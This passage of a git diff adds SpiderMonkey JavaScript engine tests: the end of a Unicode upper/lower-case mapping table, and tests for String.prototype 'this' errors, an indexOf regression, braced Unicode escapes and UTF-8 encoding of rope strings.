+ ["\uFF32", "\uFF52"], /* FULLWIDTH LATIN CAPITAL LETTER R */
+ ["\uFF33", "\uFF53"], /* FULLWIDTH LATIN CAPITAL LETTER S */
+ ["\uFF34", "\uFF54"], /* FULLWIDTH LATIN CAPITAL LETTER T */
+ ["\uFF35", "\uFF55"], /* FULLWIDTH LATIN CAPITAL LETTER U */
+ ["\uFF36", "\uFF56"], /* FULLWIDTH LATIN CAPITAL LETTER V */
+ ["\uFF37", "\uFF57"], /* FULLWIDTH LATIN CAPITAL LETTER W */
+ ["\uFF38", "\uFF58"], /* FULLWIDTH LATIN CAPITAL LETTER X */
+ ["\uFF39", "\uFF59"], /* FULLWIDTH LATIN CAPITAL LETTER Y */
+ ["\uFF3A", "\uFF5A"], /* FULLWIDTH LATIN CAPITAL LETTER Z */
+ ["\uFF3B", "\uFF3B"], /* FULLWIDTH LEFT SQUARE BRACKET (FULLWIDTH OPENING SQUARE BRACKET) */
+ ["\uFF3C", "\uFF3C"], /* FULLWIDTH REVERSE SOLIDUS (FULLWIDTH BACKSLASH) */
+ ["\uFF3D", "\uFF3D"], /* FULLWIDTH RIGHT SQUARE BRACKET (FULLWIDTH CLOSING SQUARE BRACKET) */
+ ["\uFF3E", "\uFF3E"], /* FULLWIDTH CIRCUMFLEX ACCENT (FULLWIDTH SPACING CIRCUMFLEX) */
+ ["\uFF3F", "\uFF3F"], /* FULLWIDTH LOW LINE (FULLWIDTH SPACING UNDERSCORE) */
+ ["\uFF40", "\uFF40"], /* FULLWIDTH GRAVE ACCENT (FULLWIDTH SPACING GRAVE) */
+ ["\uFF21", "\uFF41"], /* FULLWIDTH LATIN SMALL LETTER A */
+ ["\uFF22", "\uFF42"], /* FULLWIDTH LATIN SMALL LETTER B */
+ ["\uFF23", "\uFF43"], /* FULLWIDTH LATIN SMALL LETTER C */
+ ["\uFF24", "\uFF44"], /* FULLWIDTH LATIN SMALL LETTER D */
+ ["\uFF25", "\uFF45"], /* FULLWIDTH LATIN SMALL LETTER E */
+ ["\uFF26", "\uFF46"], /* FULLWIDTH LATIN SMALL LETTER F */
+ ["\uFF27", "\uFF47"], /* FULLWIDTH LATIN SMALL LETTER G */
+ ["\uFF28", "\uFF48"], /* FULLWIDTH LATIN SMALL LETTER H */
+ ["\uFF29", "\uFF49"], /* FULLWIDTH LATIN SMALL LETTER I */
+ ["\uFF2A", "\uFF4A"], /* FULLWIDTH LATIN SMALL LETTER J */
+ ["\uFF2B", "\uFF4B"], /* FULLWIDTH LATIN SMALL LETTER K */
+ ["\uFF2C", "\uFF4C"], /* FULLWIDTH LATIN SMALL LETTER L */
+ ["\uFF2D", "\uFF4D"], /* FULLWIDTH LATIN SMALL LETTER M */
+ ["\uFF2E", "\uFF4E"], /* FULLWIDTH LATIN SMALL LETTER N */
+ ["\uFF2F", "\uFF4F"], /* FULLWIDTH LATIN SMALL LETTER O */
+ ["\uFF30", "\uFF50"], /* FULLWIDTH LATIN SMALL LETTER P */
+ ["\uFF31", "\uFF51"], /* FULLWIDTH LATIN SMALL LETTER Q */
+ ["\uFF32", "\uFF52"], /* FULLWIDTH LATIN SMALL LETTER R */
+ ["\uFF33", "\uFF53"], /* FULLWIDTH LATIN SMALL LETTER S */
+ ["\uFF34", "\uFF54"], /* FULLWIDTH LATIN SMALL LETTER T */
+ ["\uFF35", "\uFF55"], /* FULLWIDTH LATIN SMALL LETTER U */
+ ["\uFF36", "\uFF56"], /* FULLWIDTH LATIN SMALL LETTER V */
+ ["\uFF37", "\uFF57"], /* FULLWIDTH LATIN SMALL LETTER W */
+ ["\uFF38", "\uFF58"], /* FULLWIDTH LATIN SMALL LETTER X */
+ ["\uFF39", "\uFF59"], /* FULLWIDTH LATIN SMALL LETTER Y */
+ ["\uFF3A", "\uFF5A"], /* FULLWIDTH LATIN SMALL LETTER Z */
+ ["\uFF5B", "\uFF5B"], /* FULLWIDTH LEFT CURLY BRACKET (FULLWIDTH OPENING CURLY BRACKET) */
+ ["\uFF5C", "\uFF5C"], /* FULLWIDTH VERTICAL LINE (FULLWIDTH VERTICAL BAR) */
+ ["\uFF5D", "\uFF5D"], /* FULLWIDTH RIGHT CURLY BRACKET (FULLWIDTH CLOSING CURLY BRACKET) */
+ ["\uFF5E", "\uFF5E"], /* FULLWIDTH TILDE (FULLWIDTH SPACING TILDE) */
+ ["\uFF5F", "\uFF5F"], /* FULLWIDTH LEFT WHITE PARENTHESIS */
+ ["\uFF60", "\uFF60"], /* FULLWIDTH RIGHT WHITE PARENTHESIS */
+ ["\uFF61", "\uFF61"], /* HALFWIDTH IDEOGRAPHIC FULL STOP (HALFWIDTH IDEOGRAPHIC PERIOD) */
+ ["\uFF62", "\uFF62"], /* HALFWIDTH LEFT CORNER BRACKET (HALFWIDTH OPENING CORNER BRACKET) */
+ ["\uFF63", "\uFF63"], /* HALFWIDTH RIGHT CORNER BRACKET (HALFWIDTH CLOSING CORNER BRACKET) */
+ ["\uFF64", "\uFF64"], /* HALFWIDTH IDEOGRAPHIC COMMA */
+ ["\uFF65", "\uFF65"], /* HALFWIDTH KATAKANA MIDDLE DOT */
+ ["\uFF66", "\uFF66"], /* HALFWIDTH KATAKANA LETTER WO */
+ ["\uFF67", "\uFF67"], /* HALFWIDTH KATAKANA LETTER SMALL A */
+ ["\uFF68", "\uFF68"], /* HALFWIDTH KATAKANA LETTER SMALL I */
+ ["\uFF69", "\uFF69"], /* HALFWIDTH KATAKANA LETTER SMALL U */
+ ["\uFF6A", "\uFF6A"], /* HALFWIDTH KATAKANA LETTER SMALL E */
+ ["\uFF6B", "\uFF6B"], /* HALFWIDTH KATAKANA LETTER SMALL O */
+ ["\uFF6C", "\uFF6C"], /* HALFWIDTH KATAKANA LETTER SMALL YA */
+ ["\uFF6D", "\uFF6D"], /* HALFWIDTH KATAKANA LETTER SMALL YU */
+ ["\uFF6E", "\uFF6E"], /* HALFWIDTH KATAKANA LETTER SMALL YO */
+ ["\uFF6F", "\uFF6F"], /* HALFWIDTH KATAKANA LETTER SMALL TU */
+ ["\uFF70", "\uFF70"], /* HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK */
+ ["\uFF71", "\uFF71"], /* HALFWIDTH KATAKANA LETTER A */
+ ["\uFF72", "\uFF72"], /* HALFWIDTH KATAKANA LETTER I */
+ ["\uFF73", "\uFF73"], /* HALFWIDTH KATAKANA LETTER U */
+ ["\uFF74", "\uFF74"], /* HALFWIDTH KATAKANA LETTER E */
+ ["\uFF75", "\uFF75"], /* HALFWIDTH KATAKANA LETTER O */
+ ["\uFF76", "\uFF76"], /* HALFWIDTH KATAKANA LETTER KA */
+ ["\uFF77", "\uFF77"], /* HALFWIDTH KATAKANA LETTER KI */
+ ["\uFF78", "\uFF78"], /* HALFWIDTH KATAKANA LETTER KU */
+ ["\uFF79", "\uFF79"], /* HALFWIDTH KATAKANA LETTER KE */
+ ["\uFF7A", "\uFF7A"], /* HALFWIDTH KATAKANA LETTER KO */
+ ["\uFF7B", "\uFF7B"], /* HALFWIDTH KATAKANA LETTER SA */
+ ["\uFF7C", "\uFF7C"], /* HALFWIDTH KATAKANA LETTER SI */
+ ["\uFF7D", "\uFF7D"], /* HALFWIDTH KATAKANA LETTER SU */
+ ["\uFF7E", "\uFF7E"], /* HALFWIDTH KATAKANA LETTER SE */
+ ["\uFF7F", "\uFF7F"], /* HALFWIDTH KATAKANA LETTER SO */
+ ["\uFF80", "\uFF80"], /* HALFWIDTH KATAKANA LETTER TA */
+ ["\uFF81", "\uFF81"], /* HALFWIDTH KATAKANA LETTER TI */
+ ["\uFF82", "\uFF82"], /* HALFWIDTH KATAKANA LETTER TU */
+ ["\uFF83", "\uFF83"], /* HALFWIDTH KATAKANA LETTER TE */
+ ["\uFF84", "\uFF84"], /* HALFWIDTH KATAKANA LETTER TO */
+ ["\uFF85", "\uFF85"], /* HALFWIDTH KATAKANA LETTER NA */
+ ["\uFF86", "\uFF86"], /* HALFWIDTH KATAKANA LETTER NI */
+ ["\uFF87", "\uFF87"], /* HALFWIDTH KATAKANA LETTER NU */
+ ["\uFF88", "\uFF88"], /* HALFWIDTH KATAKANA LETTER NE */
+ ["\uFF89", "\uFF89"], /* HALFWIDTH KATAKANA LETTER NO */
+ ["\uFF8A", "\uFF8A"], /* HALFWIDTH KATAKANA LETTER HA */
+ ["\uFF8B", "\uFF8B"], /* HALFWIDTH KATAKANA LETTER HI */
+ ["\uFF8C", "\uFF8C"], /* HALFWIDTH KATAKANA LETTER HU */
+ ["\uFF8D", "\uFF8D"], /* HALFWIDTH KATAKANA LETTER HE */
+ ["\uFF8E", "\uFF8E"], /* HALFWIDTH KATAKANA LETTER HO */
+ ["\uFF8F", "\uFF8F"], /* HALFWIDTH KATAKANA LETTER MA */
+ ["\uFF90", "\uFF90"], /* HALFWIDTH KATAKANA LETTER MI */
+ ["\uFF91", "\uFF91"], /* HALFWIDTH KATAKANA LETTER MU */
+ ["\uFF92", "\uFF92"], /* HALFWIDTH KATAKANA LETTER ME */
+ ["\uFF93", "\uFF93"], /* HALFWIDTH KATAKANA LETTER MO */
+ ["\uFF94", "\uFF94"], /* HALFWIDTH KATAKANA LETTER YA */
+ ["\uFF95", "\uFF95"], /* HALFWIDTH KATAKANA LETTER YU */
+ ["\uFF96", "\uFF96"], /* HALFWIDTH KATAKANA LETTER YO */
+ ["\uFF97", "\uFF97"], /* HALFWIDTH KATAKANA LETTER RA */
+ ["\uFF98", "\uFF98"], /* HALFWIDTH KATAKANA LETTER RI */
+ ["\uFF99", "\uFF99"], /* HALFWIDTH KATAKANA LETTER RU */
+ ["\uFF9A", "\uFF9A"], /* HALFWIDTH KATAKANA LETTER RE */
+ ["\uFF9B", "\uFF9B"], /* HALFWIDTH KATAKANA LETTER RO */
+ ["\uFF9C", "\uFF9C"], /* HALFWIDTH KATAKANA LETTER WA */
+ ["\uFF9D", "\uFF9D"], /* HALFWIDTH KATAKANA LETTER N */
+ ["\uFF9E", "\uFF9E"], /* HALFWIDTH KATAKANA VOICED SOUND MARK */
+ ["\uFF9F", "\uFF9F"], /* HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK */
+ ["\uFFA0", "\uFFA0"], /* HALFWIDTH HANGUL FILLER (HALFWIDTH HANGUL CAE OM) */
+ ["\uFFA1", "\uFFA1"], /* HALFWIDTH HANGUL LETTER KIYEOK (HALFWIDTH HANGUL LETTER GIYEOG) */
+ ["\uFFA2", "\uFFA2"], /* HALFWIDTH HANGUL LETTER SSANGKIYEOK (HALFWIDTH HANGUL LETTER SSANG GIYEOG) */
+ ["\uFFA3", "\uFFA3"], /* HALFWIDTH HANGUL LETTER KIYEOK-SIOS (HALFWIDTH HANGUL LETTER GIYEOG SIOS) */
+ ["\uFFA4", "\uFFA4"], /* HALFWIDTH HANGUL LETTER NIEUN */
+ ["\uFFA5", "\uFFA5"], /* HALFWIDTH HANGUL LETTER NIEUN-CIEUC (HALFWIDTH HANGUL LETTER NIEUN JIEUJ) */
+ ["\uFFA6", "\uFFA6"], /* HALFWIDTH HANGUL LETTER NIEUN-HIEUH (HALFWIDTH HANGUL LETTER NIEUN HIEUH) */
+ ["\uFFA7", "\uFFA7"], /* HALFWIDTH HANGUL LETTER TIKEUT (HALFWIDTH HANGUL LETTER DIGEUD) */
+ ["\uFFA8", "\uFFA8"], /* HALFWIDTH HANGUL LETTER SSANGTIKEUT (HALFWIDTH HANGUL LETTER SSANG DIGEUD) */
+ ["\uFFA9", "\uFFA9"], /* HALFWIDTH HANGUL LETTER RIEUL (HALFWIDTH HANGUL LETTER LIEUL) */
+ ["\uFFAA", "\uFFAA"], /* HALFWIDTH HANGUL LETTER RIEUL-KIYEOK (HALFWIDTH HANGUL LETTER LIEUL GIYEOG) */
+ ["\uFFAB", "\uFFAB"], /* HALFWIDTH HANGUL LETTER RIEUL-MIEUM (HALFWIDTH HANGUL LETTER LIEUL MIEUM) */
+ ["\uFFAC", "\uFFAC"], /* HALFWIDTH HANGUL LETTER RIEUL-PIEUP (HALFWIDTH HANGUL LETTER LIEUL BIEUB) */
+ ["\uFFAD", "\uFFAD"], /* HALFWIDTH HANGUL LETTER RIEUL-SIOS (HALFWIDTH HANGUL LETTER LIEUL SIOS) */
+ ["\uFFAE", "\uFFAE"], /* HALFWIDTH HANGUL LETTER RIEUL-THIEUTH (HALFWIDTH HANGUL LETTER LIEUL TIEUT) */
+ ["\uFFAF", "\uFFAF"], /* HALFWIDTH HANGUL LETTER RIEUL-PHIEUPH (HALFWIDTH HANGUL LETTER LIEUL PIEUP) */
+ ["\uFFB0", "\uFFB0"], /* HALFWIDTH HANGUL LETTER RIEUL-HIEUH (HALFWIDTH HANGUL LETTER LIEUL HIEUH) */
+ ["\uFFB1", "\uFFB1"], /* HALFWIDTH HANGUL LETTER MIEUM */
+ ["\uFFB2", "\uFFB2"], /* HALFWIDTH HANGUL LETTER PIEUP (HALFWIDTH HANGUL LETTER BIEUB) */
+ ["\uFFB3", "\uFFB3"], /* HALFWIDTH HANGUL LETTER SSANGPIEUP (HALFWIDTH HANGUL LETTER SSANG BIEUB) */
+ ["\uFFB4", "\uFFB4"], /* HALFWIDTH HANGUL LETTER PIEUP-SIOS (HALFWIDTH HANGUL LETTER BIEUB SIOS) */
+ ["\uFFB5", "\uFFB5"], /* HALFWIDTH HANGUL LETTER SIOS */
+ ["\uFFB6", "\uFFB6"], /* HALFWIDTH HANGUL LETTER SSANGSIOS (HALFWIDTH HANGUL LETTER SSANG SIOS) */
+ ["\uFFB7", "\uFFB7"], /* HALFWIDTH HANGUL LETTER IEUNG */
+ ["\uFFB8", "\uFFB8"], /* HALFWIDTH HANGUL LETTER CIEUC (HALFWIDTH HANGUL LETTER JIEUJ) */
+ ["\uFFB9", "\uFFB9"], /* HALFWIDTH HANGUL LETTER SSANGCIEUC (HALFWIDTH HANGUL LETTER SSANG JIEUJ) */
+ ["\uFFBA", "\uFFBA"], /* HALFWIDTH HANGUL LETTER CHIEUCH (HALFWIDTH HANGUL LETTER CIEUC) */
+ ["\uFFBB", "\uFFBB"], /* HALFWIDTH HANGUL LETTER KHIEUKH (HALFWIDTH HANGUL LETTER KIYEOK) */
+ ["\uFFBC", "\uFFBC"], /* HALFWIDTH HANGUL LETTER THIEUTH (HALFWIDTH HANGUL LETTER TIEUT) */
+ ["\uFFBD", "\uFFBD"], /* HALFWIDTH HANGUL LETTER PHIEUPH (HALFWIDTH HANGUL LETTER PIEUP) */
+ ["\uFFBE", "\uFFBE"], /* HALFWIDTH HANGUL LETTER HIEUH */
+ ["\uFFBF", "\uFFBF"],
+ ["\uFFC0", "\uFFC0"],
+ ["\uFFC1", "\uFFC1"],
+ ["\uFFC2", "\uFFC2"], /* HALFWIDTH HANGUL LETTER A */
+ ["\uFFC3", "\uFFC3"], /* HALFWIDTH HANGUL LETTER AE */
+ ["\uFFC4", "\uFFC4"], /* HALFWIDTH HANGUL LETTER YA */
+ ["\uFFC5", "\uFFC5"], /* HALFWIDTH HANGUL LETTER YAE */
+ ["\uFFC6", "\uFFC6"], /* HALFWIDTH HANGUL LETTER EO */
+ ["\uFFC7", "\uFFC7"], /* HALFWIDTH HANGUL LETTER E */
+ ["\uFFC8", "\uFFC8"],
+ ["\uFFC9", "\uFFC9"],
+ ["\uFFCA", "\uFFCA"], /* HALFWIDTH HANGUL LETTER YEO */
+ ["\uFFCB", "\uFFCB"], /* HALFWIDTH HANGUL LETTER YE */
+ ["\uFFCC", "\uFFCC"], /* HALFWIDTH HANGUL LETTER O */
+ ["\uFFCD", "\uFFCD"], /* HALFWIDTH HANGUL LETTER WA */
+ ["\uFFCE", "\uFFCE"], /* HALFWIDTH HANGUL LETTER WAE */
+ ["\uFFCF", "\uFFCF"], /* HALFWIDTH HANGUL LETTER OE */
+ ["\uFFD0", "\uFFD0"],
+ ["\uFFD1", "\uFFD1"],
+ ["\uFFD2", "\uFFD2"], /* HALFWIDTH HANGUL LETTER YO */
+ ["\uFFD3", "\uFFD3"], /* HALFWIDTH HANGUL LETTER U */
+ ["\uFFD4", "\uFFD4"], /* HALFWIDTH HANGUL LETTER WEO */
+ ["\uFFD5", "\uFFD5"], /* HALFWIDTH HANGUL LETTER WE */
+ ["\uFFD6", "\uFFD6"], /* HALFWIDTH HANGUL LETTER WI */
+ ["\uFFD7", "\uFFD7"], /* HALFWIDTH HANGUL LETTER YU */
+ ["\uFFD8", "\uFFD8"],
+ ["\uFFD9", "\uFFD9"],
+ ["\uFFDA", "\uFFDA"], /* HALFWIDTH HANGUL LETTER EU */
+ ["\uFFDB", "\uFFDB"], /* HALFWIDTH HANGUL LETTER YI */
+ ["\uFFDC", "\uFFDC"], /* HALFWIDTH HANGUL LETTER I */
+ ["\uFFDD", "\uFFDD"],
+ ["\uFFDE", "\uFFDE"],
+ ["\uFFDF", "\uFFDF"],
+ ["\uFFE0", "\uFFE0"], /* FULLWIDTH CENT SIGN */
+ ["\uFFE1", "\uFFE1"], /* FULLWIDTH POUND SIGN */
+ ["\uFFE2", "\uFFE2"], /* FULLWIDTH NOT SIGN */
+ ["\uFFE3", "\uFFE3"], /* FULLWIDTH MACRON (FULLWIDTH SPACING MACRON) */
+ ["\uFFE4", "\uFFE4"], /* FULLWIDTH BROKEN BAR (FULLWIDTH BROKEN VERTICAL BAR) */
+ ["\uFFE5", "\uFFE5"], /* FULLWIDTH YEN SIGN */
+ ["\uFFE6", "\uFFE6"], /* FULLWIDTH WON SIGN */
+ ["\uFFE7", "\uFFE7"],
+ ["\uFFE8", "\uFFE8"], /* HALFWIDTH FORMS LIGHT VERTICAL */
+ ["\uFFE9", "\uFFE9"], /* HALFWIDTH LEFTWARDS ARROW */
+ ["\uFFEA", "\uFFEA"], /* HALFWIDTH UPWARDS ARROW */
+ ["\uFFEB", "\uFFEB"], /* HALFWIDTH RIGHTWARDS ARROW */
+ ["\uFFEC", "\uFFEC"], /* HALFWIDTH DOWNWARDS ARROW */
+ ["\uFFED", "\uFFED"], /* HALFWIDTH BLACK SQUARE */
+ ["\uFFEE", "\uFFEE"], /* HALFWIDTH WHITE CIRCLE */
+ ["\uFFEF", "\uFFEF"],
+ ["\uFFF0", "\uFFF0"],
+ ["\uFFF1", "\uFFF1"],
+ ["\uFFF2", "\uFFF2"],
+ ["\uFFF3", "\uFFF3"],
+ ["\uFFF4", "\uFFF4"],
+ ["\uFFF5", "\uFFF5"],
+ ["\uFFF6", "\uFFF6"],
+ ["\uFFF7", "\uFFF7"],
+ ["\uFFF8", "\uFFF8"],
+ ["\uFFF9", "\uFFF9"], /* INTERLINEAR ANNOTATION ANCHOR */
+ ["\uFFFA", "\uFFFA"], /* INTERLINEAR ANNOTATION SEPARATOR */
+ ["\uFFFB", "\uFFFB"], /* INTERLINEAR ANNOTATION TERMINATOR */
+ ["\uFFFC", "\uFFFC"], /* OBJECT REPLACEMENT CHARACTER */
+ ["\uFFFD", "\uFFFD"], /* REPLACEMENT CHARACTER */
+ ["\uFFFE", "\uFFFE"],
+ ["\uFFFF", "\uFFFF"],
+];
+
+assertEq(mapping.length, 0x10000);
+for (var i = 0; i <= 0xffff; i++) {
+ var char = String.fromCharCode(i);
+ var info = mapping[i];
+
+ assertEq(char.toUpperCase(), info[0]);
+ assertEq(char.toLowerCase(), info[1]);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/thisv-error.js b/js/src/tests/non262/String/thisv-error.js
new file mode 100644
index 0000000000..9126a6e05e
--- /dev/null
+++ b/js/src/tests/non262/String/thisv-error.js
@@ -0,0 +1,51 @@
+function testName(thisv) {
+ var failures = [
+ // Not a function
+ "length",
+ // TODO: Different implementation
+ "toString",
+ "toSource",
+ "valueOf",
+ // Aliases
+ "trimLeft",
+ "trimRight",
+ // Returns empty string
+ "constructor"
+ ]
+
+ var keys = Object.getOwnPropertyNames(String.prototype);
+ for (var key of keys) {
+ var message;
+ try {
+ String.prototype[key].call(thisv);
+ } catch (e) {
+ message = e.message;
+ }
+
+ var expected = `String.prototype.${key} called on incompatible ${thisv}`;
+ if (failures.includes(key)) {
+ assertEq(message !== expected, true)
+ } else {
+ assertEq(message, expected);
+ }
+ }
+}
+testName(null);
+testName(undefined);
+
+// On-off test for Symbol.iterator
+function testIterator(thisv) {
+ var message;
+ try {
+ String.prototype[Symbol.iterator].call(thisv);
+ } catch (e) {
+ message = e.message;
+ }
+
+ assertEq(message, `String.prototype[Symbol.iterator] called on incompatible ${thisv}`);
+}
+testIterator(null);
+testIterator(undefined);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/two-length-nonlatin-indexOf.js b/js/src/tests/non262/String/two-length-nonlatin-indexOf.js
new file mode 100644
index 0000000000..38a2e7fbe7
--- /dev/null
+++ b/js/src/tests/non262/String/two-length-nonlatin-indexOf.js
@@ -0,0 +1,11 @@
+var BUGNUMBER = 1801690;
+var summary = "indexOf function doesn't work correctly with polish letters";
+
+// Prior to this bug being fixed, this would return 0. This is because 'ł'
+// truncates to the same 8-bit number as 'B'. We had a guard on the first
+// character, but there was a hole in our logic specifically for the
+// second character of the needle string.
+assertEq("AB".indexOf("Ał"), -1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/unicode-braced.js b/js/src/tests/non262/String/unicode-braced.js
new file mode 100644
index 0000000000..62d96b8441
--- /dev/null
+++ b/js/src/tests/non262/String/unicode-braced.js
@@ -0,0 +1,64 @@
+var BUGNUMBER = 320500;
+var summary = 'Add \\u{xxxxxx} string literals';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq("\u{0}", String.fromCodePoint(0x0));
+assertEq("\u{1}", String.fromCodePoint(0x1));
+assertEq("\u{10}", String.fromCodePoint(0x10));
+assertEq("\u{100}", String.fromCodePoint(0x100));
+assertEq("\u{1000}", String.fromCodePoint(0x1000));
+assertEq("\u{D7FF}", String.fromCodePoint(0xD7FF));
+assertEq("\u{D800}", String.fromCodePoint(0xD800));
+assertEq("\u{DBFF}", String.fromCodePoint(0xDBFF));
+assertEq("\u{DC00}", String.fromCodePoint(0xDC00));
+assertEq("\u{DFFF}", String.fromCodePoint(0xDFFF));
+assertEq("\u{E000}", String.fromCodePoint(0xE000));
+assertEq("\u{10000}", String.fromCodePoint(0x10000));
+assertEq("\u{100000}", String.fromCodePoint(0x100000));
+assertEq("\u{10FFFF}", String.fromCodePoint(0x10FFFF));
+assertEq("\u{10ffff}", String.fromCodePoint(0x10FFFF));
+
+assertEq("A\u{1}\u{10}B\u{100}\u{1000}\u{10000}C\u{100000}",
+ "A" +
+ String.fromCodePoint(0x1) +
+ String.fromCodePoint(0x10) +
+ "B" +
+ String.fromCodePoint(0x100) +
+ String.fromCodePoint(0x1000) +
+ String.fromCodePoint(0x10000) +
+ "C" +
+ String.fromCodePoint(0x100000));
+
+assertEq('\u{10ffff}', String.fromCodePoint(0x10FFFF));
+assertEq(`\u{10ffff}`, String.fromCodePoint(0x10FFFF));
+assertEq(`\u{10ffff}${""}`, String.fromCodePoint(0x10FFFF));
+assertEq(`${""}\u{10ffff}`, String.fromCodePoint(0x10FFFF));
+assertEq(`${""}\u{10ffff}${""}`, String.fromCodePoint(0x10FFFF));
+
+assertEq("\u{00}", String.fromCodePoint(0x0));
+assertEq("\u{00000000000000000}", String.fromCodePoint(0x0));
+assertEq("\u{00000000000001000}", String.fromCodePoint(0x1000));
+
+assertEq(eval(`"\\u{${"0".repeat(Math.pow(2, 24)) + "1234"}}"`), String.fromCodePoint(0x1234));
+
+assertEq("\U{0}", "U{0}");
+
+assertThrowsInstanceOf(() => eval(`"\\u{-1}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{0.0}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{G}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{{"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{110000}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{00110000}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{100000000000000000000000000000}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{ FFFF}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{FFFF }"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{FF FF}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{F F F F}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{100000001}"`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/utf8-encode.js b/js/src/tests/non262/String/utf8-encode.js
new file mode 100644
index 0000000000..d6aee543d0
--- /dev/null
+++ b/js/src/tests/non262/String/utf8-encode.js
@@ -0,0 +1,187 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+var BUGNUMBER = 1561567;
+var summary = 'JS_EncodeStringToUTF8BufferPartial - Encode string as UTF-8 into a byte array';
+
+print(BUGNUMBER + ": " + summary);
+
+var concat = [
+ {
+ head: "a",
+ tail: "b",
+ expected: "ab",
+ name: "Latin1 and Latin1",
+ },
+ {
+ head: "α",
+ tail: "β",
+ expected: "αβ",
+ name: "UTF-16 and UTF-16",
+ },
+ {
+ head: "a",
+ tail: "β",
+ expected: "aβ",
+ name: "Latin1 and UTF-16",
+ },
+ {
+ head: "α",
+ tail: "b",
+ expected: "αb",
+ name: "UTF-16 and Latin1",
+ },
+ {
+ head: "\uD83D",
+ tail: "\uDE03",
+ expected: "\uD83D\uDE03",
+ name: "Surrogate pair",
+ },
+ {
+ head: "a\uD83D",
+ tail: "\uDE03b",
+ expected: "a\uD83D\uDE03b",
+ name: "Surrogate pair with prefix and suffix",
+ },
+ {
+ head: "\uD83D",
+ tail: "b",
+ expected: "\uFFFDb",
+ name: "Unpaired high surrogate and Latin1",
+ },
+ {
+ head: "a\uD83D",
+ tail: "b",
+ expected: "a\uFFFDb",
+ name: "Prefixed unpaired high surrogate and Latin1",
+ },
+ {
+ head: "\uD83D",
+ tail: "β",
+ expected: "\uFFFDβ",
+ name: "Unpaired high surrogate and UTF-16",
+ },
+ {
+ head: "a\uD83D",
+ tail: "β",
+ expected: "a\uFFFDβ",
+ name: "Prefixed unpaired high surrogate and UTF-16",
+ },
+
+ {
+ head: "\uDE03",
+ tail: "b",
+ expected: "\uFFFDb",
+ name: "Unpaired low surrogate and Latin1",
+ },
+ {
+ head: "a\uDE03",
+ tail: "b",
+ expected: "a\uFFFDb",
+ name: "Prefixed unpaired low surrogate and Latin1",
+ },
+ {
+ head: "\uDE03",
+ tail: "β",
+ expected: "\uFFFDβ",
+ name: "Unpaired low surrogate and UTF-16",
+ },
+ {
+ head: "a\uDE03",
+ tail: "β",
+ expected: "a\uFFFDβ",
+ name: "Prefixed unpaired low surrogate and UTF-16",
+ },
+
+ {
+ head: "a",
+ tail: "\uDE03",
+ expected: "a\uFFFD",
+ name: "Latin1 and unpaired low surrogate",
+ },
+ {
+ head: "a",
+ tail: "\uDE03b",
+ expected: "a\uFFFDb",
+ name: "Latin1 and suffixed unpaired low surrogate",
+ },
+ {
+ head: "α",
+ tail: "\uDE03",
+ expected: "α\uFFFD",
+ name: "UTF-16 and unpaired low surrogate",
+ },
+ {
+ head: "α",
+ tail: "\uDE03b",
+ expected: "α\uFFFDb",
+ name: "UTF-16 and suffixed unpaired low surrogate",
+ },
+
+ {
+ head: "a",
+ tail: "\uD83D",
+ expected: "a\uFFFD",
+ name: "Latin1 and unpaired high surrogate",
+ },
+ {
+ head: "a",
+ tail: "\uD83Db",
+ expected: "a\uFFFDb",
+ name: "Latin1 and suffixed unpaired high surrogate",
+ },
+ {
+ head: "α",
+ tail: "\uD83D",
+ expected: "α\uFFFD",
+ name: "UTF-16 and unpaired high surrogate",
+ },
+ {
+ head: "α",
+ tail: "\uD83Db",
+ expected: "α\uFFFDb",
+ name: "UTF-16 and suffixed unpaired high surrogate",
+ },
+];
+
+assertEq(isSameCompartment(newRope, this), true);
+
+function checkUtf8Equal(first, second) {
+ var firstBuffer = new Uint8Array(first.length * 3);
+ var secondBuffer = new Uint8Array(second.length * 3);
+
+ var [firstRead, firstWritten] = encodeAsUtf8InBuffer(first, firstBuffer);
+ var [secondRead, secondWritten] = encodeAsUtf8InBuffer(second, secondBuffer);
+
+ assertEq(first.length, firstRead);
+ assertEq(second.length, secondRead);
+
+ assertEq(firstWritten, secondWritten);
+
+ for (var i = 0; i < firstWritten; ++i) {
+ assertEq(firstBuffer[i], secondBuffer[i]);
+ }
+}
+
+concat.forEach(function(t) {
+ var rope = newRope(t.head, t.tail);
+ checkUtf8Equal(rope, t.expected);
+});
+
+{
+ var ab = newRope("a", "b");
+ var abc = newRope(ab, "c");
+ var ef = newRope("e", "f");
+ var def = newRope("d", ef);
+ var abcdef = newRope(abc, def);
+ var abcdefab = newRope(abcdef, ab);
+ checkUtf8Equal(abcdefab, "abcdefab");
+}
+
+{
+ var right = newRope("\ude0a", ".");
+ var rope = newRope("\ud83d", right);
+ checkUtf8Equal(rope, "\ud83d\ude0a.");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Symbol/as-base-value.js b/js/src/tests/non262/Symbol/as-base-value.js
new file mode 100644
index 0000000000..f0e8400a22
--- /dev/null
+++ b/js/src/tests/non262/Symbol/as-base-value.js
